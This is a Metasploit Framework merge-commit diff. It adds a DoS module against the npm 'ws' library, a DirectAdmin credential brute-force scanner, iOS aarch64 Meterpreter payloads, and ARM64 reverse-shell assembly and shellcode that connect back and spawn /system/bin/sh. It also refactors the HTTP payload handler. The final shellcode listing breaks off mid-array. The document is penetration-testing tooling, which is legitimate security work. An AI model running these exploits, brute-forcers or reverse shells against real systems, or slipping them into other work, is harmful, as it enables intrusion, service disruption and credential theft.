Resolve conflict

This commit is contained in:
Jon Hart 2017-12-20 18:58:16 -08:00
commit cf21d13b2e
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
76 changed files with 865 additions and 148 deletions

View File

@ -17,9 +17,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.19)
metasploit-payloads (= 1.3.23)
metasploit_data_models
metasploit_payloads-mettle (= 0.3.2)
metasploit_payloads-mettle (= 0.3.3)
mqtt
msgpack
nessus_rest
@ -178,7 +178,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.19)
metasploit-payloads (1.3.23)
metasploit_data_models (2.0.15)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@ -189,7 +189,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.3.2)
metasploit_payloads-mettle (0.3.3)
method_source (0.9.0)
mini_portile2 (2.3.0)
minitest (5.10.3)

View File

@ -0,0 +1,57 @@
## Vulnerable Application
ws < 1.1.5 || (2.0.0 , 3.3.1)
https://nodesecurity.io/advisories/550
## Vulnerable Analysis
This module exploits a Denial of Service vulnerability in npm module "ws".
By sending a specially crafted value of the Sec-WebSocket-Extensions header
on the initial WebSocket upgrade request, the ws component will crash.
## Verification Steps
1. Start the vulnerable server using the sample server code below `node server.js`
2. Start `msfconsole`
3. `use auxiliary/dos/http/ws_dos`
4. `set RHOST <IP>`
5. `run`
6. The server should crash
## Options
None.
## Scenarios
## Server output from crash
```
/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40
paramsList.push(parsedParams);
^
TypeError: paramsList.push is not a function
at value.split.forEach (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:40:16)
at Array.forEach (<anonymous>)
at Object.parse (/Users/sonatype/Downloads/node_modules/ws/lib/Extensions.js:15:20)
at WebSocketServer.completeUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:230:30)
at WebSocketServer.handleUpgrade (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:197:10)
at Server.WebSocketServer._ultron.on (/Users/sonatype/Downloads/node_modules/ws/lib/WebSocketServer.js:87:14)
at emitThree (events.js:136:13)
at Server.emit (events.js:217:7)
at onParserExecuteCommon (_http_server.js:495:14)
at onParserExecute (_http_server.js:450:3)
```
## Sample server
```
const WebSocket = require('ws');
const wss = new WebSocket.Server(
{ port: 3000 }
);
wss.on('connection', function connection(ws) {
console.log('connected');
ws.on('message', function incoming(message)
{ console.log('received: %s', message); }
);
ws.on('error', function (err)
{ console.error(err); }
);
});
```

View File

@ -0,0 +1,72 @@
.equ SYS_SOCKET, 0x61
.equ SYS_CONNECT, 0x62
.equ SYS_DUP2, 0x5a
.equ SYS_EXECVE, 0x3b
.equ SYS_EXIT, 0x01
.equ AF_INET, 0x2
.equ SOCK_STREAM, 0x1
.equ STDIN, 0x0
.equ STDOUT, 0x1
.equ STDERR, 0x2
.equ IP, 0x0100007f
.equ PORT, 0x5C11
_start:
// sockfd = socket(AF_INET, SOCK_STREAM, 0)
mov x0, AF_INET
mov x1, SOCK_STREAM
mov x2, 0
mov x16, SYS_SOCKET
svc 0
mov x3, x0
// connect(sockfd, (struct sockaddr *)&server, sockaddr_len)
adr x1, sockaddr
mov x2, 0x10
mov x16, SYS_CONNECT
svc 0
cbnz w0, exit
// dup2(sockfd, STDIN) ...
mov x0, x3
mov x2, 0
mov x1, STDIN
mov x16, SYS_DUP2
svc 0
mov x1, STDOUT
mov x16, SYS_DUP2
svc 0
mov x1, STDERR
mov x16, SYS_DUP2
svc 0
// execve('/system/bin/sh', NULL, NULL)
adr x0, shell
mov x2, 0
str x0, [sp, 0]
str x2, [sp, 8]
mov x1, sp
mov x16, SYS_EXECVE
svc 0
exit:
mov x0, 0
mov x16, SYS_EXIT
svc 0
.balign 4
sockaddr:
.short AF_INET
.short PORT
.word IP
shell:
.word 0x00000000
.word 0x00000000
.word 0x00000000
.word 0x00000000
end:

View File

@ -0,0 +1,119 @@
require 'metasploit/framework/login_scanner/http'
module Metasploit
module Framework
module LoginScanner
class DirectAdmin < HTTP
DEFAULT_PORT = 443
PRIVATE_TYPES = [ :password ]
# Checks if the target is Direct Admin Web Control Panel. The login module should call this.
#
# @return [Boolean] TrueClass if target is DAWCP, otherwise FalseClass
def check_setup
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
res = send_request({'uri'=> login_uri})
if res && res.body.include?('DirectAdmin Login')
return true
end
false
end
# Returns the latest sid from DirectAdmin Control Panel
#
# @return [String] The PHP Session ID for DirectAdmin Web Control login
def get_last_sid
@last_sid ||= lambda {
# We don't have a session ID. Well, let's grab one right quick from the login page.
# This should probably only happen once (initially).
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
res = send_request({'uri' => login_uri})
return '' unless res
cookies = res.get_cookies
@last_sid = cookies.scan(/(session=\w+);*/).flatten[0] || ''
}.call
end
# Actually doing the login. Called by #attempt_login
#
# @param username [String] The username to try
# @param password [String] The password to try
# @return [Hash]
# * :status [Metasploit::Model::Login::Status]
# * :proof [String] the HTTP response body
def get_login_state(username, password)
# Prep the data needed for login
sid = get_last_sid
protocol = ssl ? 'https' : 'http'
peer = "#{host}:#{port}"
login_uri = normalize_uri("#{uri}/CMD_LOGIN")
res = send_request({
'uri' => login_uri,
'method' => 'POST',
'cookie' => sid,
'headers' => {
'Referer' => "#{protocol}://#{peer}/#{login_uri}"
},
'vars_post' => {
'username' => username,
'password' => password,
'referer' => '%2F'
}
})
unless res
return {:status => Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, :proof => res.to_s}
end
# After login, the application should give us a new SID
cookies = res.get_cookies
sid = cookies.scan(/(session=\w+);*/).flatten[0] || ''
@last_sid = sid # Update our SID
if res.headers['Location'].to_s.include?('/') && !sid.blank?
return {:status => Metasploit::Model::Login::Status::SUCCESSFUL, :proof => res.to_s}
end
{:status => Metasploit::Model::Login::Status::INCORRECT, :proof => res.to_s}
end
# Attempts to login to DirectAdmin Web Control Panel. This is called first.
#
# @param credential [Metasploit::Framework::Credential] The credential object
# @return [Result] A Result object indicating success or failure
def attempt_login(credential)
result_opts = {
credential: credential,
status: Metasploit::Model::Login::Status::INCORRECT,
proof: nil,
host: host,
port: port,
protocol: 'tcp',
service_name: ssl ? 'https' : 'http'
}
begin
result_opts.merge!(get_login_state(credential.public, credential.private))
rescue ::Rex::ConnectionError => e
# Something went wrong during login. 'e' knows what's up.
result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e.message)
end
Result.new(result_opts)
end
end
end
end
end

View File

@ -1,7 +1,7 @@
# -*- coding: binary -*-
require 'msf/base'
require 'msf/base/sessions/scriptable'
require 'rex/post/hwbridge'
module Msf
@ -24,6 +24,7 @@ class HWBridge < Rex::Post::HWBridge::Client
# This interface supports interactive commands.
#
include Msf::Session::Interactive
include Msf::Session::Scriptable
#
# Initialize the HWBridge console

View File

@ -302,11 +302,15 @@ class Meterpreter < Rex::Post::Meterpreter::Client
##
# :category: Msf::Session::Scriptable implementors
#
# Runs the meterpreter script in the context of a script container
# Runs the Meterpreter script or resource file
#
def execute_file(full_path, args)
o = Rex::Script::Meterpreter.new(self, full_path)
o.run(args)
# Infer a Meterpreter script by it having an .rb extension
if File.extname(full_path) == ".rb"
Rex::Script::Meterpreter.new(self, full_path).run(args)
else
console.load_resource(full_path)
end
end

View File

@ -0,0 +1,29 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
module Msf
module Sessions
###
#
# This class creates a platform-specific meterpreter session type
#
###
class Meterpreter_aarch64_Apple_iOS < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
def initialize(rstream, opts={})
super
self.base_platform = 'apple_ios'
self.base_arch = ARCH_AARCH64
end
end
end
end

View File

@ -164,13 +164,17 @@ module Scriptable
else
full_path = self.class.find_script_path(script_name)
# No path found? Weak.
if full_path.nil?
print_error("The specified script could not be found: #{script_name}")
return true
return
end
begin
execute_file(full_path, args)
framework.events.on_session_script_run(self, full_path)
rescue StandardError => e
print_error("Could not execute #{script_name}: #{e.class} #{e}")
end
framework.events.on_session_script_run(self, full_path)
execute_file(full_path, args)
end
end

View File

@ -339,6 +339,13 @@ protected
self.pending_connections += 1
resp.body = ''
resp.code = 200
resp.message = 'OK'
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Process the requested resource.
case info[:mode]
when :init_connect
@ -354,59 +361,27 @@ protected
pkt.add_tlv(Rex::Post::Meterpreter::TLV_TYPE_TRANS_URL, conn_id + "/")
resp.body = pkt.to_r
when :init_python, :init_native, :init_java
when :init_python, :init_native, :init_java, :connect
# TODO: at some point we may normalise these three cases into just :init
url = payload_uri(req) + conn_id + '/'
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
uri = URI(payload_uri(req) + conn_id)
if info[:mode] == :connect
print_status("Attaching orphaned/stageless session...")
else
begin
blob = self.generate_stage(url: url, uuid: uuid, uri: conn_id)
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
# TODO: does this have to happen just for windows, or can we set it for all?
resp['Content-Type'] = 'application/octet-stream' if uuid.platform == 'windows'
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
begin
blob = self.generate_stage(
url: url,
uuid: uuid,
uri: conn_id
)
resp['Content-Type'] = 'application/octet-stream'
resp.body = blob
blob = encode_stage(blob) if self.respond_to?(:encode_stage)
print_status("Staging #{uuid.arch} payload (#{blob.length} bytes) ...")
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
:url => url,
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:retry_total => datastore['SessionRetryTotal'].to_i,
:retry_wait => datastore['SessionRetryWait'].to_i,
:ssl => ssl?,
:payload_uuid => uuid
})
rescue NoMethodError
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
return
rescue NoMethodError
print_error("Staging failed. This can occur when stageless listeners are used with staged payloads.")
return
end
end
when :connect
print_status("Attaching orphaned/stageless session...")
resp.body = ''
url = payload_uri(req) + conn_id
url << '/' unless url[-1] == '/'
# Damn you, python! Ruining my perfect world!
url += "\x00" unless uuid.arch == ARCH_PYTHON
# Short-circuit the payload's handle_connection processing for create_session
create_session(cli, {
:passive_dispatcher => self.service,
:conn_id => conn_id,
@ -423,8 +398,6 @@ protected
unless [:unknown_uuid, :unknown_uuid_url].include?(info[:mode])
print_status("Unknown request to #{request_summary}")
end
resp.code = 200
resp.message = 'OK'
resp.body = datastore['HttpUnknownRequestResponse'].to_s
self.pending_connections -= 1
end
@ -436,6 +409,5 @@ protected
end
end
end
end

View File

@ -560,4 +560,12 @@ class Msf::Module::Platform
Alias = "hardware"
end
#
# Apple iOS
#
class Apple_iOS < Msf::Module::Platform
Rank = 100
Alias = "apple_ios"
end
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/transport_config'
require 'msf/base/sessions/meterpreter_options'
require 'msf/core/payload/uuid/options'
@ -16,6 +17,7 @@ module Payload::Python::MeterpreterLoader
include Msf::Payload::Python
include Msf::Payload::UUID::Options
include Msf::Payload::TransportConfig
include Msf::Sessions::MeterpreterOptions
def initialize(info = {})
@ -106,17 +108,12 @@ module Payload::Python::MeterpreterLoader
# so we need to generate it
# TODO: move this to somewhere more common so that it can be used across payload types
unless opts[:url].to_s == ''
# Build the callback URL (TODO: share this logic with TransportConfig
uri = "/#{opts[:url].split('/').reject(&:empty?)[-1]}"
callback_url = [
opts[:url].to_s.split(':')[0],
'://',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
':',
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
ds['LURI'].to_s,
uri,
'/'
].join('')
opts[:scheme] ||= opts[:url].to_s.split(':')[0]
scheme, lhost, lport = transport_uri_components(opts)
callback_url = "#{scheme}://#{lhost}:#{lport}#{ds['LURI']}#{uri}/"
# patch in the various payload related configuration
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")

View File

@ -36,13 +36,26 @@ module Msf::Payload::TransportConfig
def transport_config_reverse_https(opts={})
ds = opts[:datastore] || datastore
opts[:scheme] ||= 'https'
config = transport_config_reverse_http(opts)
config[:scheme] = ds['OverrideScheme'] || 'https'
config[:ssl_cert_hash] = get_ssl_cert_hash(ds['StagerVerifySSLCert'],
ds['HandlerSSLCert'])
config
end
def transport_uri_components(opts={})
ds = opts[:datastore] || datastore
scheme = opts[:scheme]
lhost = ds['LHOST']
lport = ds['LPORT']
if ds['OverrideRequestHost']
scheme = ds['OverrideScheme'] || scheme
lhost = ds['OverrideLHOST'] || lhost
lport = ds['OverrideLPORT'] || lport
end
[scheme, lhost, lport]
end
def transport_config_reverse_http(opts={})
# most cases we'll have a URI already, but in case we don't
# we should ask for a connect to happen given that this is
@ -55,10 +68,13 @@ module Msf::Payload::TransportConfig
end
ds = opts[:datastore] || datastore
opts[:scheme] ||= 'http'
scheme, lhost, lport = transport_uri_components(opts)
{
scheme: ds['OverrideScheme'] || 'http',
lhost: opts[:lhost] || ds['LHOST'],
lport: (opts[:lport] || ds['LPORT']).to_i,
scheme: scheme,
lhost: lhost,
lport: lport.to_i,
uri: uri,
ua: ds['HttpUserAgent'],
proxy_host: ds['HttpProxyHost'],

View File

@ -72,7 +72,8 @@ class Msf::Payload::UUID
21 => 'python',
22 => 'nodejs',
23 => 'firefox',
24 => 'r'
24 => 'r',
25 => 'apple_ios',
}
# The raw length of the UUID structure

View File

@ -128,7 +128,7 @@ module Payload::Windows::ReverseHttp
# Generate the URI for the initial stager
#
def generate_small_uri
generate_uri_uuid_mode(:init_native, 5)
generate_uri_uuid_mode(:init_native, 30)
end
#

View File

@ -313,8 +313,6 @@ class Driver < Msf::Ui::Driver
return
end
self.active_resource = resource_file
# Process ERB directives first
print_status "Processing #{path} for ERB directives."
erb = ERB.new(resource_file)
@ -362,8 +360,6 @@ class Driver < Msf::Ui::Driver
run_single(line)
end
end
self.active_resource = nil
end
#
@ -507,10 +503,6 @@ class Driver < Msf::Ui::Driver
# The active session associated with the driver.
#
attr_accessor :active_session
#
# The active resource file being processed by the driver
#
attr_accessor :active_resource
def stop
framework.events.on_ui_stop()

View File

@ -414,11 +414,11 @@ class Console::CommandDispatcher::Core
if !words[1] || !words[1].match(/^\//)
begin
if msf_loaded?
tabs << tab_complete_postmods
tabs = tab_complete_postmods
end
[ # We can just use Meterpreters script path
::Msf::Sessions::Meterpreter.script_base,
::Msf::Sessions::Meterpreter.user_script_base
::Msf::Sessions::HWBridge.script_base,
::Msf::Sessions::HWBridge.user_script_base
].each do |dir|
next unless ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|

View File

@ -34,12 +34,16 @@ module Meterpreter
###
class ClientCore < Extension
VALID_TRANSPORTS = [
'reverse_tcp',
'reverse_http',
'reverse_https',
'bind_tcp'
]
METERPRETER_TRANSPORT_TCP = 0
METERPRETER_TRANSPORT_HTTP = 1
METERPRETER_TRANSPORT_HTTPS = 2
VALID_TRANSPORTS = {
'reverse_tcp' => METERPRETER_TRANSPORT_TCP,
'reverse_http' => METERPRETER_TRANSPORT_HTTP,
'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
'bind_tcp' => METERPRETER_TRANSPORT_TCP
}
include Rex::Payloads::Meterpreter::UriChecksum
@ -721,7 +725,7 @@ class ClientCore < Extension
#
def valid_transport?(transport)
return false if transport.nil?
VALID_TRANSPORTS.include?(transport.downcase)
VALID_TRANSPORTS.has_key?(transport.downcase)
end
#
@ -875,7 +879,7 @@ private
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
if transport == 'reverse_https' && opts[:cert]
if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
end
@ -896,7 +900,7 @@ private
end
request.add_tlv(TLV_TYPE_TRANS_TYPE, transport)
request.add_tlv(TLV_TYPE_TRANS_TYPE, VALID_TRANSPORTS[transport])
request.add_tlv(TLV_TYPE_TRANS_URL, url)
request

View File

@ -758,7 +758,7 @@ class Console::CommandDispatcher::Core
# Arguments for transport switching
#
@@transport_opts = Rex::Parser::Arguments.new(
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.join(', ')}"],
'-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}"],
'-l' => [true, 'LHOST parameter (for reverse transports)'],
'-p' => [true, 'LPORT parameter'],
'-i' => [true, 'Specify transport by index (currently supported: remove)'],

View File

@ -27,7 +27,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
"clipboard_monitor_pause" => "Pause the active clipboard monitor",
"clipboard_monitor_resume" => "Resume the paused clipboard monitor",
"clipboard_monitor_dump" => "Dump all captured clipboard content",
"clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
"clipboard_monitor_purge" => "Delete all captured clipboard content without dumping it",
"clipboard_monitor_stop" => "Stop the clipboard monitor"
}
reqs = {

View File

@ -1,4 +1,5 @@
# -*- coding: binary -*-
require 'cgi'
require 'uri'
require 'rex/proto/http'
require 'nokogiri'
@ -84,6 +85,18 @@ class Response < Packet
return cookies.strip
end
#
# Gets cookies from the Set-Cookie header in a parsed format
#
def get_cookies_parsed
if (self.headers.include?('Set-Cookie'))
ret = CGI::Cookie::parse(self.headers['Set-Cookie'])
else
ret = {}
end
ret
end
# Returns a parsed HTML document.
# Instead of using regexes to parse the HTML body, you should use this and use the Nokogiri API.

View File

@ -70,9 +70,9 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.3.19'
spec.add_runtime_dependency 'metasploit-payloads', '1.3.23'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.2'
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.3.3'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -0,0 +1,72 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
def initialize
super(
'Name' => 'ws - Denial of Service',
'Description' => %q{
This module exploits a Denial of Service vulnerability in npm module "ws".
By sending a specially crafted value of the Sec-WebSocket-Extensions header on the initial WebSocket upgrade request, the ws component will crash.
},
'References' =>
[
['URL', 'https://nodesecurity.io/advisories/550'],
['CWE', '400'],
],
'Author' =>
[
'Ryan Knell, Sonatype Security Research',
'Nick Starke, Sonatype Security Research',
],
'License' => MSF_LICENSE
)
register_options([
Opt::RPORT(3000),
OptString.new('TARGETURI', [true, 'The base path', '/']),
],)
end
def run
path = datastore['TARGETURI']
#Create HTTP request
req = [
"GET #{path} HTTP/1.1",
"Connection: Upgrade",
"Sec-WebSocket-Key: #{Rex::Text.rand_text_alpha(rand(10) + 5).to_s}",
"Sec-WebSocket-Version: 8",
"Sec-WebSocket-Extensions: constructor", #Adding "constructor" as the value for this header causes the DoS
"Upgrade: websocket",
"\r\n"
].join("\r\n");
begin
connect
print_status("Sending DoS packet to #{peer}")
sock.put(req)
data = sock.get_once(-1) #Attempt to retrieve data from the socket
if data =~ /101/ #This is the expected HTTP status code. IF it's present, we have a valid upgrade response.
print_error("WebSocket Upgrade request Successful, service not vulnerable.")
else
fail_with(Failure::Unknown, "An unknown error occured")
end
disconnect
print_error("DoS packet unsuccessful")
rescue ::Rex::ConnectionRefused
print_error("Unable to connect to #{peer}")
rescue ::Errno::ECONNRESET, ::EOFError
print_good("DoS packet successful. #{peer} not responding.")
end
end
end

View File

@ -94,6 +94,7 @@ class MetasploitModule < Msf::Auxiliary
workspace_id: myworkspace_id
)
if result.success?
credential_data[:private_type] = :password
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)

View File

@ -0,0 +1,95 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/login_scanner/directadmin'
require 'metasploit/framework/credential_collection'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'DirectAdmin Web Control Panel Login Utility',
'Description' => %q{
This module will attempt to authenticate to a DirectAdmin Web Control Panel.
},
'Author' => [ 'Nick Marcoccio "1oopho1e" <iremembermodems[at]gmail.com>' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 2222,
'SSL' => true,
}
))
register_options(
[
OptString.new('USERNAME', [false, 'The username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The password to specify for authentication', '']),
])
end
def scanner(ip)
@scanner ||= lambda {
cred_collection = Metasploit::Framework::CredentialCollection.new(
blank_passwords: datastore['BLANK_PASSWORDS'],
pass_file: datastore['PASS_FILE'],
password: datastore['PASSWORD'],
user_file: datastore['USER_FILE'],
userpass_file: datastore['USERPASS_FILE'],
username: datastore['USERNAME'],
user_as_pass: datastore['USER_AS_PASS']
)
return Metasploit::Framework::LoginScanner::DirectAdmin.new(
configure_http_login_scanner(
host: ip,
port: datastore['RPORT'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
connection_timeout: 5,
http_username: datastore['HttpUsername'],
http_password: datastore['HttpPassword']
))
}.call
end
# Attempts to login
def bruteforce(ip)
scanner(ip).scan! do |result|
credential_data = result.to_h.merge({
workspace_id: myworkspace_id,
module_fullname: self.fullname,
})
case result.status
when Metasploit::Model::Login::Status::SUCCESSFUL
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
create_credential_and_login(credential_data)
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
invalidate_login(credential_data)
when Metasploit::Model::Login::Status::INCORRECT
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
invalidate_login(credential_data)
end
end
end
# Start here
def run_host(ip)
unless scanner(ip).check_setup
print_brute(:level => :error, :ip => ip, :msg => 'Target is not DirectAdmin Web Control Panel')
return
end
bruteforce(ip)
end
end

View File

@ -85,6 +85,7 @@ class MetasploitModule < Msf::Auxiliary
workspace_id: myworkspace_id
)
if result.success?
credential_data[:private_type] = :password
credential_core = create_credential(credential_data)
credential_data[:core] = credential_core
create_credential_login(credential_data)

View File

@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Remote
'BadChars' => '',
'DisableNops' => true
},
'Platform' => %w[android bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],
'Platform' => %w[android apple_ios bsd java js linux osx nodejs php python ruby solaris unix win mainframe multi],
'Arch' => ARCH_ALL,
'Targets' => [ [ 'Wildcard Target', {} ] ],
'DefaultTarget' => 0,

View File

@ -25,7 +25,6 @@ class MetasploitModule < Msf::Exploit::Remote
'References' =>
[
['CVE', '2014-8791'],
['OSVDB', '115128'],
['URL', 'http://karmainsecurity.com/KIS-2014-13'],
['URL', 'https://tuleap.net/plugins/tracker/?aid=7601']
],

View File

@ -0,0 +1,46 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_http'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
module MetasploitModule
CachedSize = 692552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apple_iOS Meterpreter, Reverse HTTP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'apple_ios',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttp,
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
)
)
end
def generate
opts = {
scheme: 'http',
stageless: true
}
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
end
end

View File

@ -0,0 +1,46 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_https'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
module MetasploitModule
CachedSize = 692552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apple_iOS Meterpreter, Reverse HTTPS Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'apple_ios',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
)
)
end
def generate
opts = {
scheme: 'https',
stageless: true
}
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
end
end

View File

@ -0,0 +1,46 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/meterpreter_options'
require 'msf/base/sessions/mettle_config'
require 'msf/base/sessions/meterpreter_aarch64_apple_ios'
module MetasploitModule
CachedSize = 692552
include Msf::Payload::Single
include Msf::Sessions::MeterpreterOptions
include Msf::Sessions::MettleConfig
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apple_iOS Meterpreter, Reverse TCP Inline',
'Description' => 'Run the Meterpreter / Mettle server payload (stageless)',
'Author' => [
'Adam Cammack <adam_cammack[at]rapid7.com>',
'Brent Cook <brent_cook[at]rapid7.com>',
'timwr'
],
'Platform' => 'apple_ios',
'Arch' => ARCH_AARCH64,
'License' => MSF_LICENSE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::Meterpreter_aarch64_Apple_iOS
)
)
end
def generate
opts = {
scheme: 'tcp',
stageless: true
}
MetasploitPayloads::Mettle.new('aarch64-iphone-darwin', generate_config(opts)).to_binary :exec
end
end

View File

@ -0,0 +1,97 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 152
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Apple iOS aarch64 Command Shell, Reverse TCP Inline',
'Description' => 'Connect back to attacker and spawn a command shell',
'License' => MSF_LICENSE,
'Platform' => 'apple_ios',
'Arch' => ARCH_AARCH64,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 132, 'ADDR' ],
'LPORT' => [ 130, 'n' ],
},
'Payload' =>
[
# Generated from external/source/shellcode/apple_ios/aarch64/single_reverse_tcp_shell.s
0xd2800040, # mov x0, #0x2 // #2
0xd2800021, # mov x1, #0x1 // #1
0xd2800002, # mov x2, #0x0 // #0
0xd2800c30, # mov x16, #0x61 // #97
0xd4000001, # svc #0x0
0xaa0003e3, # mov x3, x0
0x10000341, # adr x1, 80 <sockaddr>
0xd2800202, # mov x2, #0x10 // #16
0xd2800c50, # mov x16, #0x62 // #98
0xd4000001, # svc #0x0
0x35000260, # cbnz w0, 74 <exit>
0xaa0303e0, # mov x0, x3
0xd2800002, # mov x2, #0x0 // #0
0xd2800001, # mov x1, #0x0 // #0
0xd2800b50, # mov x16, #0x5a // #90
0xd4000001, # svc #0x0
0xd2800021, # mov x1, #0x1 // #1
0xd2800b50, # mov x16, #0x5a // #90
0xd4000001, # svc #0x0
0xd2800041, # mov x1, #0x2 // #2
0xd2800b50, # mov x16, #0x5a // #90
0xd4000001, # svc #0x0
0x10000180, # adr x0, 88 <shell>
0xd2800002, # mov x2, #0x0 // #0
0xf90003e0, # str x0, [sp]
0xf90007e2, # str x2, [sp,#8]
0x910003e1, # mov x1, sp
0xd2800770, # mov x16, #0x3b // #59
0xd4000001, # svc #0x0
0xd2800000, # mov x0, #0x0 // #0
0xd2800030, # mov x16, #0x1 // #1
0xd4000001, # svc #0x0
0x5c110002, # .word 0x5c110002
0x0100007f, # .word 0x0100007f
0x00000000, # .word 0x00000000 // shell
0x00000000, # .word 0x00000000
